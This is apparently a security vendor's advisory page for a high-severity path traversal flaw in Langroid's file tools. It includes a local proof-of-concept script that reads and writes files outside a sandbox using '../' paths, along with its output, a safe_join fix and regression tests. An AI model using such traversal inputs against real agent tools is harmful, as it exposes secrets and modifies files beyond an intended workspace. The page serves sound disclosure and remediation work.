Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

GHSA-fg23-3346-88f5

HIGHFix: langroid/langroid@56e2756

GHSA-fg23-3346-88f5 is a high-severity (CVSS 7.1) Path Traversal vulnerability in langroid. O3 Security confirms whether GHSA-fg23-3346-88f5 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Langroid: Path traversal in the file tools allows read/write outside configured current directory

Also known asCVE-2026-50181PYSEC-2026-2578
Published
Jul 2, 2026
Updated
Jul 13, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Aug 23, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-fg23-3346-88f5.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs15th percentile — riskier than 15% of all scored CVEsHighest risk
0.00%0.24%0.49%0.73%0.2%0.2%Aug 26Aug 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-fg23-3346-88f5 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 363,829 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐍langroid

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Langroid's ReadFileTool and WriteFileTool appear to treat curr_dir as the intended working-directory boundary for file operations. However, the tools only change the process working directory to curr_dir and then operate on the user-supplied file_path without resolving and enforcing that the final path remains inside curr_dir.

As a result, a tool caller can supply path traversal sequences such as ../secret.txt to read files outside the configured current directory, or ../written_by_tool.txt to write files outside that directory.

This can impact applications that expose Langroid file tools to an LLM agent, user-controlled tool call, or delegated coding/documentation agent while relying on curr_dir to restrict file access to a project/workspace directory.

Details

Affected components:

  • langroid/agent/tools/file_tools.py
  • langroid/utils/system.py

Relevant behavior observed:

ReadFileTool contains a comment indicating the intended assumption:

# ASSUME: file_path should be relative to the curr_dir

The tool then changes into the configured current directory and calls read_file(self.file_path).

WriteFileTool similarly resolves curr_dir, changes into that directory, and calls create_file(self.file_path, self.content).

The issue is that changing the process working directory does not prevent traversal. A path such as ../secret.txt is still valid and resolves outside the configured curr_dir.

In local testing, ReadFileTool successfully read a file outside the configured sandbox directory, and WriteFileTool successfully wrote a file outside the configured sandbox directory.

PoC

Tested locally against the current Langroid repository checkout.

Environment:

Python 3.12
Langroid installed in editable mode with pip install -e .

PoC script:

from pathlib import Path
from tempfile import TemporaryDirectory
import os

os.environ["docker"] = "false"
os.environ["DOCKER"] = "false"

from langroid.agent.tools.file_tools import ReadFileTool, WriteFileTool


class DummyIndex:
    def add(self, files):
        print("dummy git add:", files)

    def commit(self, message):
        print("dummy git commit:", message)


class DummyRepo:
    index = DummyIndex()


with TemporaryDirectory() as root:
    base = Path(root)
    sandbox = base / "sandbox"
    sandbox.mkdir()

    secret = base / "secret.txt"
    secret.write_text("LANGROID_TOOL_ESCAPE_PROOF", encoding="utf-8")

    ReadSandbox = ReadFileTool.create(get_curr_dir=lambda: sandbox)
    read_tool = ReadSandbox(file_path="../secret.txt")

    print("READ TOOL RESULT:")
    print(read_tool.handle())

    WriteSandbox = WriteFileTool.create(
        get_curr_dir=lambda: sandbox,
        get_git_repo=lambda: DummyRepo(),
    )

    write_tool = WriteSandbox(
        file_path="../written_by_tool.txt",
        content="WRITTEN_BY_LANGROID_TOOL",
        language="text",
    )

    print("WRITE TOOL RESULT:")
    print(write_tool.handle())

    outside = base / "written_by_tool.txt"
    print("outside exists:", outside.exists())
    print("outside content:", outside.read_text(encoding="utf-8"))

Observed output:

READ TOOL RESULT:

    CONTENTS of ../secret.txt:
    (Line numbers added for reference only!)
    ---------------------------
    1: LANGROID_TOOL_ESCAPE_PROOF

WRITE TOOL RESULT:
Content created/updated in: ..\written_by_tool.txt
dummy git add: ['../written_by_tool.txt']
dummy git commit: Agent write file tool
Content written to ../written_by_tool.txt and committed
outside exists: True
outside content: WRITTEN_BY_LANGROID_TOOL

This demonstrates that both read and write operations can escape the configured curr_dir using ../ traversal.

Impact

If an application enables Langroid's file tools and treats curr_dir as a project, workspace, repository, or sandbox boundary, a tool caller can escape that boundary.

Potential impact includes:

Reading files outside the intended workspace.
Writing files outside the intended workspace.
Exposing local secrets, configuration files, source files, environment files, or other project-adjacent files.
Modifying files outside the intended project directory if WriteFileTool is enabled.

This is especially relevant in agentic workflows where an LLM or external user can influence tool arguments.

This report does not claim unauthenticated remote exploitation by default. The impact depends on how an application exposes Langroid file tools and whether curr_dir is intended to restrict file access.

Suggested remediation

Before reading, writing, or listing files, resolve the configured base directory and the requested target path, then reject any path that escapes the base directory.

Example patch pattern:

from pathlib import Path

def safe_join(base_dir: str | Path, user_path: str | Path) -> Path:
    base = Path(base_dir).resolve()
    target = (base / user_path).resolve()

    if target != base and base not in target.parents:
        raise ValueError("Path escapes configured current directory")

    return target

Then use the resolved safe path for ReadFileTool, WriteFileTool, and ListDirTool.

Suggested regression tests:

ReadFileTool(file_path="../secret.txt") should be rejected.
WriteFileTool(file_path="../outside.txt") should be rejected.
Absolute paths outside curr_dir should be rejected.
Symlink-based escapes should be rejected after final path resolution.
Normal relative paths inside curr_dir, such as src/main.py, should continue to work.

[Langroid CVE Report.pdf](https://github.com/user-attachments/files/28333958/Langroid.CVE.Report.pdf)

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIlangroidall versions0.64.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for langroid. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update langroid to 0.64.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-fg23-3346-88f5 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-fg23-3346-88f5 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-fg23-3346-88f5. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary Langroid's `ReadFileTool` and `WriteFileTool` appear to treat `curr_dir` as the intended working-directory boundary for file operations. However, the tools only change the process working directory to `curr_dir` and then operate on the user-supplied `file_path` without resolving and enforcing that the final path remains inside `curr_dir`. As a result, a tool caller can supply path traversal sequences such as `../secret.txt` to read files outside the configured current directory, or `../written_by_tool.txt` to write files outside that directory. This can impact applications that
O3 Security · Impact-Aware SCA

Is GHSA-fg23-3346-88f5 in your dependencies?

O3 detects GHSA-fg23-3346-88f5 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.